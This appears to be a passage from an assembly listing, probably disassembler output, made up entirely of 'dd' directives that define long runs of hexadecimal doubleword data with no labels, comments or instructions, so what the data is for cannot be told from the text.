		dd 9B94430Fh, 0E08D8AA0h, 0B5F006F9h, 81D714B1h, 0C8134900h
		dd 477335BDh, 0DA0B0FACh, 0C83CB5D0h, 750C4D6Dh, 0AF87064h
		dd 254861FDh, 18B020B8h, 48BFF26Ch, 7501ABCAh, 4144A5BAh
		dd 49EDCF19h, 21AD0898h, 0BA073D4Ch, 0B1F33501h, 20D03CE4h
		dd 50178242h, 1497DCB6h, 0C0516644h, 83C20B09h,	0B01DE000h
		dd 7499AB29h, 91C00302h, 34088A55h, 465CA424h, 1EF70033h
		dd 0B980A801h, 0A4273FFEh, 0CCA0D4h, 86F2829Bh,	7B9D0805h
		dd 0B11F59EEh, 9281621Bh, 0C8B5FD63h, 90010D31h, 4242BE4h
		dd 0C7E20164h, 3F530ED2h, 54E3C850h, 6D19110Eh,	0B62340B8h
		dd 0CC489638h, 0A4E87238h, 5A000091h, 3C0447F0h, 768C904Bh
		dd 0AA258106h, 9B5358F0h, 0A007FF4h, 0B222C2D7h, 890B15h
		dd 8FA51285h, 0A6677DBBh, 8069B309h, 0F38A059h,	0C16121A7h
		dd 52385848h, 4A88B04Eh, 3089BBCCh, 0B2C8CDC5h,	1F489449h
		dd 3EA780ACh, 2A2E07A8h, 48E8B54Bh, 6D10586Bh, 3EDC0DB3h
		dd 40EAC90Dh, 50841DC0h, 246CE0EBh, 8038D115h, 0DF4D90F2h
		dd 661652B6h, 0E00F6C5h, 8F8BF47Ch, 6CDE02F7h, 0B035A825h
		dd 189AF0B1h, 730F0465h, 32AF3885h, 6D4C2030h, 0ED1F820Fh
		dd 0C89D3602h, 84336C00h, 0C15825A7h, 0BA285658h, 81E8311Bh
		dd 0D1774560h, 6C207882h, 205912B2h, 0B4742027h, 7C924441h
		dd 93D24209h, 0E05808E2h, 0E090C428h, 3092C445h, 738C606Ah
		dd 4423A7BAh, 0B41171h,	0F3BA3B4Ah, 0FE9975BCh,	13EFC7Ah
		dd 6D2F9BA6h, 259230B5h, 75E018C4h, 0E179A0B1h,	0EB151118h
		dd 29405A1h, 999B33D9h,	0A4724056h, 8CE8C474h, 19660924h
		dd 8C33D10Ch, 0A61F7C23h, 96B47544h, 3C212062h,	4FCCA9Dh
		dd 75E295h, 6C29C5EBh, 0FDD059C7h, 18700948h, 0B2312FE5h
		dd 0C72EC183h, 60FB6C2Eh, 825198BAh, 0D78FD8C8h, 8DBEE900h
		dd 0B5FA5CE5h, 0C671021Fh, 0FCCBBF56h, 989CE484h, 0F046314h
		dd 0AE688571h, 4A203132h, 0EE0F6Bh, 0D23AF1D0h,	0D4D6938Ah
		dd 0A4664914h, 0B9704E4h, 7CC1A9A3h, 880F3868h,	0B512C0B0h
		dd 0F94DBF83h, 0C85804F0h, 8501529Dh, 6094D1B7h, 0FC1E4EC0h
		dd 0A51878C7h, 163055D0h, 44E81C4Ah, 149509D4h,	762300h
		dd 555ECB65h, 4486290Fh, 6D0090E4h, 0F6A53FCBh,	15F2CFD9h
		dd 0BC35E56Ch, 56DBA400h, 83929305h, 1932E430h,	0E41793Fh
		dd 9BD50295h, 810D4F04h, 1E14780h, 0FE09A63h, 0B6CE0A92h
		dd 0DD4F4CFh, 72B019FAh, 0EE46002Ch, 264A3697h,	0EA8000B1h
		dd 52C8E731h, 4040598h,	1C83AD18h, 2E0C3CC1h, 203C7401h
		dd 798C7938h, 0B47211A5h, 8026889Eh, 4FCA9C3Bh,	287B596Eh
		dd 5C75A814h, 0C4F615B8h, 720300C8h, 0A6BCF76h,	40A658FBh
		dd 61D49F10h, 9218D070h, 3081C2D0h, 0CD19BE9Bh,	48B9D686h
		dd 9A81882Ch, 0C62DCB87h, 31E5E450h, 2E88C3E8h,	713EA855h
		dd 0A12C306Bh, 7F9729BEh, 3B7293h, 3E1FD0B1h, 19B71604h
		dd 5A33E305h, 80001D88h, 57BC836Ch, 32B128C8h, 0BF8B3FA8h
		dd 0CBD0B230h, 0E1B80610h, 302FF037h, 9B2398F1h, 423816EBh
		dd 62C56F9h, 0C8B45BA4h, 0D369B00Bh, 0F888A0A3h, 180AA261h
		dd 20ABE7D1h, 0AE147EFDh, 0F1206A3Ch, 1D18A4DEh, 53BB8E00h
		dd 3A0DCFEEh, 0B25204D1h, 38A40Ah, 44F3B98Bh, 0E0790024h
		dd 481D5B2Fh, 7E002339h, 0F61BD482h, 1A0407C6h,	68AE3789h
		dd 44647062h, 238025F8h, 0EF1501D5h, 39C70FF6h,	5A84408Bh
		dd 424A0140h, 455F84Fh,	988822E6h, 9B92406Dh, 1E2864B0h
		dd 72F6E009h, 4A06A4BAh, 0E513B686h, 0B320078h,	51F60310h
		dd 13831C04h, 523CA29h,	78CBD1A7h, 5178BA40h, 8A983888h
		dd 0AC5F2083h, 61FE6806h, 2600108h, 0D788CCC2h,	24C0F542h
		dd 7B80116Ch, 0A8E9480Fh, 944C6E38h, 0C27A6600h, 143299C4h
		dd 60B262F8h, 1026BC99h, 30E0351Eh, 0A1986B2h, 80033714h
		dd 85B7C7C1h, 0CE202664h, 0F04A810Ch, 0DD59B41Bh, 0B908239h
		dd 81058CD2h, 3FDBFD94h, 0D064039h, 404F39B0h, 32C85009h
		dd 78C88AFFh, 0CBAA23Dh, 0DD9B8244h, 4D5914E8h,	64A00274h
		dd 68E757D9h, 6CC84F1Ch, 5240C161h, 42B12A62h, 28848EC5h
		dd 0D2440415h, 6DD0908Bh, 3A6236DBh, 4833E491h,	15355ACh
		dd 4CED9BDh, 76397B6Dh,	0E0752448h, 0E3B95C03h,	2C4850AFh
		dd 0E81C4C44h, 0D2705D80h, 7D90CDA7h, 29C49BEAh, 64B16E05h
		dd 204578BCh, 0E59DE4h,	76BB0C71h, 202490FFh, 0A498E03Fh
		dd 6422A84Bh, 14A8A258h, 0F6BCA0D9h, 2B16AEh, 0E1E7A119h
		dd 7CCBBEEh, 620156F2h,	0E00C70FEh, 1C215490h, 48C72004h
		dd 8004A1E4h, 0F00C031Fh, 1E08D07Bh, 14D0997h, 1C029604h
		dd 14000F9Ah, 6C6DB6Ch,	0C69B3C2h, 0B0C43828h, 2E06DCA3h
		dd 0CA7A995Ah, 10E90360h, 1DEF2904h, 2F42552h, 6C0187FCh
		dd 95CB58C0h, 0CE800382h, 8A60878Fh, 80A5F97Ah,	3740C861h
		dd 6530C47Bh, 0F84B45Ah, 2CAC99D0h, 64C7D89Dh, 708574E1h
		dd 4DB0DC28h, 62000F6Ch, 2F4E7DD3h, 12AF432Eh, 32FDF742h
		dd 386162A8h, 51C450B2h, 0F8239D0h, 484903E5h, 90100A02h
		dd 128C636Ah, 9B38040Fh, 0E46B04DEh, 7FD8C8h, 673ED96Fh
		dd 6AC0044Bh, 299CC300h, 0ED93E852h, 284A1033h,	8373090Ah
		dd 103F0AEEh, 38AD050Bh, 293B73Ch, 3961A1BBh, 0EC8F1EE1h
		dd 0AC589895h, 588C21E8h, 0FB073E07h, 676974D9h, 840C89A4h
		dd 0D1396471h, 0A0384C8Fh, 52EBBA42h, 0DF7790D6h, 84BC14F9h
		dd 40E1F610h, 450964ECh, 0E56D37F5h, 67E5E4A4h,	0CA8109D0h
		dd 0A44F1349h, 65EC40FEh, 190490A3h, 0AD3E8D07h, 0EF70D0DEh
		dd 0AC18B23Ah, 0C0147E8Ch, 21E23F51h, 5D00CC61h, 0BA3E1676h
		dd 1E71EB40h, 64806ADAh, 0D97F0C68h, 0DC2459D9h, 3146C00Ch
		dd 49541251h, 0DCFC406Ch, 0C951B04Bh, 9A7BF1C0h, 0ACEDBB4h
		dd 8641FDC3h, 841D808Ch, 922DCC01h, 4582F4Ch, 0AA59A783h
		dd 0E14024B0h, 2C8C6824h, 1834B4BAh, 0D75D71DFh, 8541C825h
		dd 0E28066B4h, 60146D7Ch, 0C6AFD9DAh, 6C009E39h, 3B74F75Ch
		dd 244BF3F4h, 11907B18h, 0F5F80A0h, 94888565h, 67465868h
		dd 1D3A0F0Eh, 83B8C3BCh, 0ECDAC0C2h, 38490CB1h,	8ED021FBh
		dd 12B50D39h, 0E421C710h, 0A0588C07h, 2C542041h, 6106A430h
		dd 7DB7BC1h, 51B3A25Eh,	1D200C90h, 70E1D619h, 8E15ABF8h
		dd 0C72288DCh, 0A4D73009h, 10016856h, 59B23C6Ch, 8281B98h
		dd 0A8C77AC8h, 0A6B47391h, 3A882318h, 0E6CA00A0h, 0ECAEAB75h
		dd 309350E3h, 0C2EC0815h, 11B831AFh, 0C5FF100Ch, 68A55C04h
		dd 0C1978880h, 0F700E914h, 1FBF5CD4h, 0F1841BDh, 8AC3A16Dh
		dd 78187CC9h, 500B860h,	72F6337Eh, 7A19B422h, 62A7262Bh
		dd 13AD11D4h, 0FC01F283h, 7BD953DBh, 36BC7C38h,	0CE02058Ch
		dd 8840DB62h, 0A8132358h, 0C029A785h, 0BAC5C7E8h, 73460408h
		dd 99AC9737h, 0A24C23A4h, 0A27B3028h, 1A2884B8h, 6601AC34h
		dd 829B6CC3h, 3824D3B7h
		dd 64EA1342h, 5938D0F9h, 2884358Ch, 0D0F8A5h, 0C29050C4h
		dd 1B6B9B1Dh, 6171B010h, 0CB70DC2Ah, 0C861A5DCh, 0A140886Eh
		dd 0CD5834FBh, 89F00144h, 0A44B0058h, 208C986Fh, 5CB00A0Ch
		dd 7AD56320h, 89B625B8h, 497D4420h, 898161Bh, 0B73EFFF0h
		dd 64485EC1h, 0CB71C03Ah, 6F465562h, 8C00E322h,	45C6CB79h
		dd 0B6143146h, 61958F04h, 323C22E0h, 79157AF8h,	4ACE9A4h
		dd 0A76F28Ch, 0BACE8C2h, 0FE404803h, 1550A150h,	92220C2h
		dd 493F23A6h, 821909A4h, 3DE4FECh, 584FD5A4h, 30239C3Ah
		dd 6F8E780Fh, 801F2020h, 34FF0283h, 81C9CFB2h, 4013F7A0h
		dd 1238B578h, 88444D4Ah, 0DC0295ABh, 0A8E6060Ah, 9B8150F6h
		dd 0A8BCA03Ch, 0B4170B8Ch, 1380F108h, 45E7668Ah, 9920D498h
		dd 935806B8h, 8163B77Eh, 1D1C715Ch, 0BF00706Ch,	2B184979h
		dd 78F0A822h, 0C85588BEh, 2896897Eh, 13964988h,	0D6F090F6h
		dd 21004B56h, 0FFE0F2D5h, 2A63ACh, 0D00D3C79h, 4603CE91h
		dd 1AA43A18h, 302E77F1h, 7B418951h, 4985E6Fh, 8412A75Eh
		dd 3623FC3Ah, 71061405h, 6CC468C0h, 0D2423E9Dh,	5E2F1849h
		dd 0C8C1B41Ah, 9B01E6A5h, 0E47984B6h, 4CEC7C01h, 30D85398h
		dd 0E0418F04h, 3D4008C8h, 4B742CC9h, 0D170129Ah, 235D50h
		dd 9044168Ch, 0E7EB1044h, 0C48101B2h, 0A621BF8Bh, 0FCB708Eh
		dd 8FF56D6Bh, 0BE1FC56Eh, 6E40B441h, 1E06E753h,	5831E226h
		dd 6573EF00h, 60F9C84Fh, 890C681Dh, 3B297BE3h, 33C220C5h
		dd 38DB30E3h, 0A885B8AAh, 0BA9002F7h, 870EBE97h, 0C1297D45h
		dd 6017055Ch, 6DFE953Ah, 98F4F104h, 6088BF8Ah, 6A19127Ch
		dd 0AEB4045Ch, 12D200FCh, 0B834754Fh, 0DF2E222Ch, 141E1CA1h
		dd 200744B0h, 0CB0CA5FCh, 0D827622Dh, 4EB8588Bh, 0A0378915h
		dd 76733901h, 38609A34h, 0B8CDD720h, 0EBB1BDF0h, 93EF2C58h
		dd 629B13B8h, 0C05B6DACh, 20D2890Ch, 12FB40BFh,	0D610D164h
		dd 0D4E56D4Bh, 0A04A02Fh, 26752CC8h, 0C084798Bh, 555FCB68h
		dd 14291725h, 70910E10h, 0A223BBCBh, 41C107D7h,	0CD61F1E4h
		dd 3F0C7D23h, 18B44063h, 1808D069h, 0B8A80F60h,	64F9B825h
		dd 931D5008h, 55152E06h, 4DC58F4h, 964013E5h, 94B20C84h
		dd 0C5C00504h, 3CE0E45Fh, 0B7C88B2h, 0F680AAFCh, 0D324A04Ah
		dd 90B0623Ah, 7A04BF9Bh, 0AD2218CAh, 67C66A01h,	6DB71492h
		dd 6805D442h, 37D1AABCh, 0F640B937h, 0DB3731E0h, 66876944h
		dd 0BC0A17E5h, 979FD45Ch, 0B46E49C1h, 28243A51h, 5832FD42h
		dd 1CD1B78Fh, 2FD6D0B5h, 85E41890h, 88B6802Eh, 0B685559h
		dd 2BBC4114h, 60244D60h, 6CD3DBF0h, 0CFE29C02h,	3CEA0E5h
		dd 36924154h, 92CDE0A0h, 20BB70CAh, 7144AA1Eh, 256276B4h
		dd 0CAA17820h, 3C3A0C62h, 0FCE8AB15h, 0EA993344h, 90049B50h
		dd 0D3DC50E5h, 6812F85Bh, 616D7004h, 0D5285A00h, 0BE39E9D1h
		dd 73A7930Fh, 82384828h, 0A823201Eh, 0AEFF0AD4h, 38574398h
		dd 904025BBh, 608ACFC4h, 9B10F2Ch, 0D7DA440Ah, 0FA956427h
		dd 74FC09D8h, 6558D873h, 83871836h, 0D8D40E8h, 5429F909h
		dd 2C00B1Dh, 60D970h, 264E3856h, 0A70F98C1h, 1984B041h
		dd 81FA11D0h, 28BC8988h, 0A80BC114h, 29BE5D29h,	0AA8C3824h
		dd 58CC984Ch, 0E8465893h, 748BA33Ch, 0C8658EB4h, 0CA9A3D83h
		dd 72309923h, 0F2D1A092h, 0B4760058h, 21FE6041h, 5714AD4h
		dd 187B678h, 0FEC7D30h,	0A4789276h, 2C7CA4h, 0A47CDD3h
		dd 1A286D77h, 75B9E13Bh, 0A410D93Ah, 0B0373C9Dh, 7424B0FBh
		dd 0A9A248BAh, 0AE882459h, 0BA3C4B80h, 218882h,	99EE4DDDh
		dd 8C6E68F4h, 0B01F0E26h, 0B1F290CDh, 6FE46C84h, 2C864AB4h
		dd 94A0768Ch, 0DC771A0Dh, 66AC2397h, 0F091D37Ch, 620B6Ch
		dd 217BBEF7h, 0B849FC0Eh, 501E2D5Ah, 0A8B725h, 0E5B94FAAh
		dd 36023917h, 74EE835Fh, 19F4828Ch, 867300ADh, 0D61CF3CBh
		dd 8FB94985h, 0FFBF49Eh, 80060FABh, 4D79CD80h, 0E7E10775h
		dd 608CBBDFh, 7D42B2A9h, 0EF008A71h, 0CDAD01FBh, 0FA27D6C2h
		dd 0CB6700A0h, 0D1820F07h, 131C323h, 0BB9921A1h, 7680089Bh
		dd 0CFD432E0h, 0AA743F0Bh, 200D0F9Ch, 68B159CCh, 765D0075h
		dd 0ABDFE59Fh, 0A673B998h, 8A41FA60h, 541D12Fh,	641AED33h
		dd 0B81D803Fh, 0CDE2173Ch, 201CD9F8h, 8802742h,	0A6285461h
		dd 32CE0C16h, 0A091B4FEh, 0AE803500h, 0DADF0A39h, 0A409CC01h
		dd 0FD004021h, 977B5F7Fh, 59B04EBh, 6D5519C8h, 0C881FBBh
		dd 4119BF77h, 1E2A011Fh, 8E35CC00h, 0C0A25DF3h,	297B3749h
		dd 28C3A7CAh, 0D8778F27h, 0C0FF99ECh, 0D5F993D1h, 791B55BBh
		dd 22F9A75Dh, 0F908E778h, 43ED696Dh, 5002E3CDh,	0A56FD658h
		dd 0E2D8A3BFh, 7A34B0B3h, 0C9540CB2h, 0ED089A41h, 0ABFF21C0h
		dd 0A8DEBFh, 8EA60176h,	0C650BCE8h, 7E5C7950h, 58801484h
		dd 0BA00C0E6h, 0E122BD5Bh, 0CD73B3F3h, 146D5A28h, 55798406h
		dd 4A0E6FDh, 44E4B2Dh, 0E9233B9Bh, 0EE15A000h, 79247150h
		dd 7669CF01h, 0B8FDBBA0h, 0AF00C840h, 602A573Dh, 0C0EFA715h
		dd 0F2505C41h, 1704F3A3h, 0A07D3F89h, 1DD95490h, 0C0E46577h
		dd 19C6FFDh, 2D63D285h,	4886F4EBh, 61EF8CD0h, 0F84318C4h
		dd 4EE76C44h, 0DB372780h, 4C2481Ch, 248C5AB6h, 16F2B861h
		dd 320C7459h, 9C21F2h, 0C7D28C62h, 73A78A0h, 2D883C01h
		dd 0E0335D9h, 834E609Fh, 265D5F60h, 7D89C093h, 983014E8h
		dd 12AFBC18h, 1DA97C05h, 4017408Fh, 7D46FA3Bh, 0E1A1F360h
		dd 0C6E03EC5h, 0B0B14458h, 4D782D05h, 0E801BF29h, 0C2D97B39h
		dd 0C2213820h, 288BC020h, 0A881504Ch, 8E401963h, 0AC927A30h
		dd 3BE544A8h, 46BFAF00h, 8452B93Ah, 30E300C0h, 22D7DDE2h
		dd 0F526D4C9h, 0FC2820B3h, 2AED10F1h, 4668031Bh, 4EB4BAFEh
		dd 21F30930h, 11B330Dh,	0E10CDB0Bh, 48E2EAF0h, 6088D890h
		dd 0F3DCA1ECh, 9F25C110h, 0D131642h, 0E78403ADh, 5940C82Ch
		dd 44686598h, 0B7112818h, 0AC3A8840h, 8C5D04F0h, 620C6125h
		dd 659D20EFh, 5C14BB8Ch, 1B9CB447h, 0D869BF99h,	60C83Fh
		dd 50408A34h, 53D92BEFh, 565B1118h, 1935941h, 69E0038Ch
		dd 3076C023h, 0BA400D30h, 29DD60D9h, 9460D3BBh,	44612203h
		dd 61544585h, 79FEB0C0h, 0E819E46Dh, 0B45BDF28h, 3B35610Ah
		dd 251E840Fh, 0DA8D9030h, 8C51C9E2h, 5020130Eh,	73BC8124h
		dd 7CC6E0E5h, 2DA90105h, 0AC086961h, 1411816Bh,	30362B97h
		dd 0C040AD58h, 6E595C5Ch, 885B3700h, 0FB5DF2CDh, 8980CA50h
		dd 0D9747CF0h, 0FFE740C2h, 0C68CA0C7h, 0D2B49185h, 0CE4404C0h
		dd 0C11084C9h, 0A40D5A60h, 2C11F041h, 71802F87h, 0CDE5A39h
		dd 3072899Ch, 8B798271h, 68EF800h, 603F1835h, 7CA54C4Dh
		dd 422C4B26h, 84A0E4D9h, 0EA8DBC74h, 4CC0651Dh,	60C40039h
		dd 2ED127EDh, 2B090179h, 67BA074Bh, 71F042CDh, 0B1768C4Ch
		dd 0A27A3611h, 0A6A0E788h, 0D20BF0Eh, 0BE2BE008h, 14CF224Eh
		dd 80AB097Dh, 32BD6304h, 44589519h, 8CDAFED8h, 8C046940h
		dd 0E96C6129h, 9920F032h, 2648C71h, 7669CFBFh, 0E8C3BD4Ah
		dd 0C3349AC8h, 0BCFEE729h, 8ADB4E01h, 0D7D49CA2h, 0AF440FF1h
		dd 0A880C063h, 0F177A70h, 0E77EC8A0h, 4D020CB2h, 0AD92FFE1h
		dd 0C2F880B7h, 61FDA98Ah, 0AA95382Fh, 5D2C74DFh, 0E36120h
		dd 438A732Dh, 2BC3C89Dh, 40356700h, 1B1FD5BDh, 674E007h
		dd 0B8535017h, 89E010D8h
		dd 2A618518h, 1F9D8D20h, 801DA8A7h, 585BD3FFh, 0F800BF0Fh
		dd 5ACA8B52h, 778EBA66h, 6AC03878h, 3E8530Dh, 5B20C048h
		dd 894EC372h, 14A633BAh, 53432105h, 88FF91C3h, 7C014A1Bh
		dd 2F93EC64h, 37D8654Dh, 3F683843h, 0E9180F38h,	0A2442B13h
		dd 0BA0154E0h, 83E112D6h, 0B96089CBh, 0EFED066Ah, 92643D8Dh
		dd 0C782B906h, 0E503Fh,	0E08ABF66h, 15B595FFh, 8181E6DEh
		dd 85DBCBDAh, 30BDC030h, 311A29E9h, 96AAC595h, 0EE178C02h
		dd 514A868Ch, 593975A4h, 4C8911C3h, 41801888h, 5BC7C351h
		dd 0DDD0626h, 0D201FF68h, 73F68001h, 226DBD83h,	84C3CA57h
		dd 33B052Dh, 462E8995h,	837485C7h, 69BD330Ch, 65E91821h
		dd 36602F1Fh, 8F0044A6h, 4C8AF9A0h, 3AE0AEBBh, 98C66D6h
		dd 4A4E614Dh, 3AB70F88h, 861850F9h, 9D294106h, 0FFFD7162h
		dd 0F31732B5h, 42811711h, 422A78DAh, 0A39F0FBCh, 36801D91h
		dd 5B468CEEh, 9EB45705h, 0CE0862C1h, 18F7BD1Bh,	0BA17619Dh
		dd 5FCC75Fh, 8CAE0C55h,	0B09E903h, 54A31C61h, 41EB02DFh
		dd 0C68DD214h, 0E2C6084Dh, 0B0910141h, 0C35D8755h, 316C8922h
		dd 55451019h, 0FF3E00C3h, 0CEB1DFEh, 0B91413BAh, 10BF3298h
		dd 0E818F0F9h, 9AA330Dh, 22369F00h, 6A323DFBh, 64551203h
		dd 0E9520127h, 205FC3E3h, 22EF0165h, 0E53900A4h, 0FC842759h
		dd 0C6C21249h, 2BD10FD0h, 0F62EA600h, 850B919h,	0BEA71BE3h
		dd 0DA6214E4h, 57073142h, 0CCE811B9h, 5C28C423h, 0B41ECF04h
		dd 4F8349F7h, 610ABCFDh, 181311FAh, 813F0EE9h, 0BAB40FA3h
		dd 99615736h, 0D0B05934h, 55ACAC1Dh, 5A1C5246h,	548988C3h
		dd 42401CC4h, 9E83C352h, 6ADED600h, 0B0D89347h,	0CB8B3066h
		dd 1B0BF58Ch, 1A6482A7h, 0FC8FD161h, 0C72406F9h, 0F8129DADh
		dd 0D8C9E861h, 82B220Bh, 30518509h, 91810F50h, 953304BDh
		dd 0BD294191h, 0F42428D1h, 2B57882Dh, 2C559519h, 0E6275A18h
		dd 4A418C24h, 0B1A06E12h, 3AD8ED5Dh, 0A235A400h, 911C3207h
		dd 389AFCA6h, 2A92F8C6h, 81F66450h, 26EC26EFh, 8B5004DBh
		dd 0BA945FF9h, 15C80A8Fh, 296F9CC0h, 1BE9348Dh,	23FB60C8h
		dd 0CA37595h, 25290BB2h, 0AB04C1D6h, 294A0689h,	230D1599h
		dd 5AF85282h, 0E1E9FAB1h, 83D4E7F6h, 2E14D008h,	2363F964h
		dd 0C3580B50h, 89F0A7Fh, 504070h, 0BC68A2C3h, 1D3D3CEAh
		dd 83716CC8h, 0D89848BFh, 35858BC0h, 9F162768h,	5CFE907h
		dd 2E69300Bh, 1FF0013Eh, 5B631D06h, 62E6CC92h, 51707200h
		dd 300FD409h, 19B51A8Dh, 4847B0F1h, 94611544h, 7E1820B0h
		dd 60E9A540h, 0F39C2108h, 9B481260h, 24F83968h,	220C01D0h
		dd 160B6CCEh, 46254595h, 0D71B587h, 145DF4C4h, 0D7008814h
		dd 16BFF38Bh, 49E1124Eh, 0CE208337h, 86DD958Bh,	57D0003Fh
		dd 0C0878EB9h, 12995960h, 3B910B80h, 1C1A4Ch, 78534EF9h
		dd 2357A08Dh, 94B192CFh, 0AC88CA3Fh, 62BA02B8h,	0E21E1124h
		dd 0D1C9824Eh, 975231Bh, 1984DCCDh, 0B82C1783h,	0F5863DD9h
		dd 0B98318ABh, 2FD9E4A6h, 0B0B17F50h, 64E787E3h, 0AF46016h
		dd 0B9660DAAh, 8BBE2231h, 0A50B080Ch, 29215678h, 89C8C35Eh
		dd 46008774h, 0A1F7C356h, 4583B805h, 0D8DA08F1h, 0D9668DF6h
		dd 5DD253F1h, 397FA245h, 3A748903h, 6EC5043h, 0F821FD20h
		dd 1B5B921Dh, 3632ACD6h, 44E8A4FCh, 85E00741h, 0E7B027D5h
		dd 3618CB90h, 0DA0075EDh, 8E58AA11h, 9CFE49Bh, 59C06716h
		dd 0B343008h, 6482D48Ah, 290584h, 0E7ECEA19h, 0C960506Ah
		dd 0DA144599h, 0EA8A6082h, 0B3D36D61h, 855DE892h, 0E3AACC24h
		dd 49DE0E98h, 0EF521768h, 1C231B3Ah, 41D34600h,	0EE717ACh
		dd 0B66F08B8h, 0B58B6041h, 88F87559h, 0C05B986h, 847A5361h
		dd 0C9227890h, 0CFB73E2Ah, 18E5D618h, 6994293Dh, 0F12DF784h
		dd 572370CAh, 28055F17h, 55227C89h, 5747201Bh, 0A60732C3h
		dd 58525FB4h, 0CE8E65Eh, 91D50121h, 7B820D5Dh, 0E2F4F4AFh
		dd 0BAB7F700h, 2A0BD3E1h, 0E1D3985Ah, 38E9814h,	2D52CA98h
		dd 0B85290C4h, 93C8C18h, 771C94B9h, 8BD00F89h, 0D1800040h
		dd 2485C7E8h, 0A6D21A91h, 128A508Ch, 7B110D05h,	6382B754h
		dd 3C67CCAh, 0CFFFD56Dh, 8BDDBAEBh, 0D3B22E9h, 8C3DCB8Ah
		dd 683F40Fh, 1330253h, 3A219484h, 0CFFC3123h, 55F098h
		dd 0D56CD88Fh, 0C2182F78h, 1050BF49h, 8B0412C9h, 91EC19Dh
		dd 0B2861861h, 983D2AB3h, 1CD2039h, 243BA580h, 77C5B49h
		dd 89C838C7h, 642765C2h, 524BB7h, 0E9815FE2h, 13317C17h
		dd 1E8E3C6Ch, 3EE68000h, 0F88B2CC7h, 26DBC024h,	0B2DC8C0h
		dd 0CD20B501h, 0F8C4912Ah, 0C28F0BC6h, 12170BC6h, 0AD08D0E8h
		dd 8801F071h, 0A81C9B66h, 0BFD86041h, 0E37258E4h, 1A2BD110h
		dd 0E5A45F61h, 6019E44Fh, 655CB5Fh, 0E990C1BCh,	0C4381D0Ah
		dd 2E3C80CDh, 0EDFDEB2Ch, 8BA0678h, 8618DA2Ah, 837C0216h
		dd 0D70FCD0Ah, 0B2083935h, 69BF8005h, 0C72366E7h, 3306F4C9h
		dd 8836797Ch, 614DBD89h, 42E91285h, 0CA9B2152h,	6F451583h
		dd 0F6286DE8h, 3543A316h, 8F1F206h, 84717061h, 1DC49885h
		dd 2AEFF460h, 0F0D34701h, 0BFD70EDAh, 25E17020h, 0E7906C7Ah
		dd 0D358329Ch, 0C9690552h, 97081706h, 26301C01h, 4900F6D8h
		dd 0E59EB0C8h, 58765F78h, 940EB40Ah, 2B38E945h,	0F878BCB6h
		dd 71BC294Ch, 0DB581A0h, 12CD6B82h, 3F090FB2h, 47DD3D83h
		dd 2EC4DDE3h, 5135EA58h, 8886CE20h, 0A76CC116h,	2D1E71EEh
		dd 84C269C0h, 35889164h, 60024023h, 30870F28h, 0CB13DC90h
		dd 4DC125B2h, 7228F701h, 38C1BECh, 0FBDD1C1Eh, 4FA00846h
		dd 0C0048160h, 7DB625F5h, 435ACC1h, 0F98B0B14h,	0E9851FAEh
		dd 2EE72339h, 0F5098A10h, 4091E740h, 1BA44016h,	226A515Ch
		dd 0E85918E9h, 0DFE34510h, 7A129900h, 89E5690Dh, 13650172h
		dd 34BE9DA0h, 64F9D101h, 6A795AF7h, 31E172C6h, 20C69412h
		dd 0A164FF33h, 45294159h, 8401816Dh, 66DE2468h,	0F6DB8C04h
		dd 798304C3h, 0C6193B02h, 361C0518h, 520C6856h,	5E9CA8B8h
		dd 78B7D85Dh, 12B13B0Ch, 84046A0Bh, 644D1072h, 0FA10F781h
		dd 2D42F96Ch, 9B684701h, 1EEC18ACh, 0F0292B4Dh,	684F011Eh
		dd 0EE2F2661h, 7208AD07h, 7D685B86h, 286A530Ch,	29851856h
		dd 807575C0h, 64986841h, 2AADDB87h, 5898D037h, 0A439684Ch
		dd 20802BE7h, 8821274Ah, 45B123Fh, 0AE718D82h, 85151554h
		dd 0CF5C03C7h, 0C430D3Bh, 26920F02h, 44F52B1h, 620349E2h
		dd 5302AD6Ah, 0A4B5340Ch, 1417A291h, 6845026Dh,	92A5F797h
		dd 1C08CD02h, 0C0267CDh, 53752E58h, 0C06D6632h,	914E1AA1h
		dd 635A970Ch, 84EF5134h, 94D59D89h, 53BF812Bh, 37B487D8h
		dd 81A01E2Dh, 137329C9h, 0CB501F20h, 0C718C84Ah, 0C9C0DF11h
		dd 35FF64ABh, 0BA666BA0h, 958DB13Dh, 130B2589h,	0BC04D38Bh
		dd 0C9542EB5h, 0E9217333h, 0AB0E0BBEh, 2012A11Ah, 0B3DBF365h
		dd 0B0060518h, 8180D4ACh, 88A62CEEh, 2621054Ah,	0D34E905Bh
		dd 0B200CC6Bh, 1F702072h, 0AE014386h, 2956FB18h, 0DE383585h
		dd 0BD805A0Fh, 786BFD0Bh, 9D5914F2h, 6303F101h,	3232C4E9h
		dd 4F51BF09h, 2CA5EA82h, 0E9DB3301h, 0E007A32h,	42CE39F6h
		dd 4FF62D17h, 3C25D400h, 13340B46h, 0B8C05C33h,	0E456E5C0h
		dd 3F006118h, 81101DB5h, 0E410FD2h, 405F05C6h, 0B0742DFh
		dd 73E48F64h, 2E7C7EB7h
		dd 1C465E4Bh, 0D050B700h, 879AE082h, 8B302802h,	0E0FB83C8h
		dd 0E14A84ACh, 1DECF86Ch, 0D64008Ch, 588DA0A3h,	0A42750ABh
		dd 0B871104Bh, 92353F94h, 8514428Bh, 24259602h,	0B5ED0209h
		dd 0C232CADDh, 50BA252Bh, 4A86BB03h, 0E780DA5Ah, 601BE4A5h
		dd 69412FBh, 407C46A7h,	0F1207216h, 0BF0F0A1Eh,	1FC51D2h
		dd 5F19A2CAh, 0C30208Bh, 0A466C77Ah, 7A03FF4Bh,	15B86583h
		dd 0C3EC0304h, 30415C8Bh, 5D20C29Ch, 9259ED81h,	838B28D3h
		dd 3DFA01Bh, 5389812Eh,	4F2E5D0Ch, 6111250h, 40E13A50h
		dd 3CCD5F23h, 0F74E554Fh, 45CE16C8h, 45C30130h,	0FC41A48Fh
		dd 4061D88Bh, 0D05DC983h, 0B9410599h, 0D81D489Bh, 0BEBA45BDh
		dd 0E940B94Ah, 55D704B8h, 64050048h, 0BB0DF781h, 8503D465h
		dd 0B640BA86h, 0EAD18734h, 0C9D5FE8h, 68FBC0EDh, 75564D58h
		dd 10030A58h, 534132C9h, 205E874Eh, 32B993FEh, 0FB8A2E09h
		dd 5880385h, 0E7D20983h, 4C98A0E6h, 3A004243h, 0FCD598C6h
		dd 550A1A8h, 635D579Ah,	0B3DFC51Bh, 8D29044Dh, 0E5B60BC5h
		dd 8043DA1h, 10134211h,	0EB9AC1Fh, 0A8C01120h, 96F92h
		dd 99DC483Eh, 2D76E61h,	8960349Fh, 0C66A2DB5h, 30FA9943h
